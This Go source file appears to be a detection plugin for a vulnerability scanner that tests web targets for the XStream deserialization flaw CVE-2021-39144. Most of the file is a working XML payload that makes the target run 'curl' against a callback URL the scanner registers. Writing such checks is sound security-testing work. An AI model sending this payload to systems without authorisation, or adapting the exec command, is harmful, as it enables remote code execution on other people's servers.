/**
2 * @Author: shaochuyu
3 * @Date: 3/23/24
4 */

package xstream

import (
	"bytes"
	"context"
	"strings"
	"wscan/core/http"
	"wscan/core/model"
	"wscan/core/plugins/base"
	"wscan/core/reverse"
	logger "wscan/core/utils/log"
)

type CVE_2021_39144 struct {
}

// https://x-stream.github.io/CVE-2021-39144.html
func (p *CVE_2021_39144) Finger() *base.Finger {
	return &base.Finger{
		CheckAction: func(ctx context.Context, ab *base.Apollo) error {
			flow := ab.GetTargetFlow()
			logger.Infof("开始检测xstream/CVE-2021-39144, %s", flow.Request.URL())
			payload := `<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <dynamic-proxy>
              <interface>java.lang.Comparable</interface>
              <handler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Comparable</providerType>
                <probes>
                  <entry>
                    <method>
                      <class>java.lang.Comparable</class>
                      <name>compareTo</name>
                      <parameter-types>
                        <class>java.lang.Object</class>
                      </parameter-types>
                    </method>
                    <sun.tracing.dtrace.DTraceProbe>
                      <proxy class='java.lang.Runtime'/>
                      <implementing__method>
                        <class>java.lang.Runtime</class>
                        <name>exec</name>
                        <parameter-types>
                          <class>java.lang.String</class>
                        </parameter-types>
                      </implementing__method>
                    </sun.tracing.dtrace.DTraceProbe>
                  </entry>
                </probes>
              </handler>
            </dynamic-proxy>
            <string>curl {{reverse-url}}</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>`

			unit := ab.Reverse.Register(nil)
			payload = strings.Replace(payload, "{{reverse-url}}", unit.GetRmiURL(), -1)
			req, _ := http.NewRequest("POST",
				flow.Request.URL().JoinPath("/").String(),
				nil)
			req.WithXMLBody(bytes.NewReader([]byte(payload)))
			res, err := ab.HTTPClient.Respond(context.TODO(), req)
			if err != nil {
				return nil
			}
			unit.OnVisit(func(event *reverse.Event) error {
				v := ab.NewWebVuln(req, res, nil)
				if v != nil {
					v.SetTargetURL(flow.Request.URL())
					v.Payload = payload
					ab.OutputVuln(v)
				}
				return nil
			})
			unit.Fetch(0)
			return nil
		},
		Channel: "web-generic",
		Binding: &model.VulnBinding{ID: "xstream/CVE-2021-39144",
			Plugin:   "xstream/CVE-2021-39144",
			Category: "xstream/CVE-2021-39144"},
		NeedReverse: true,
	}
}
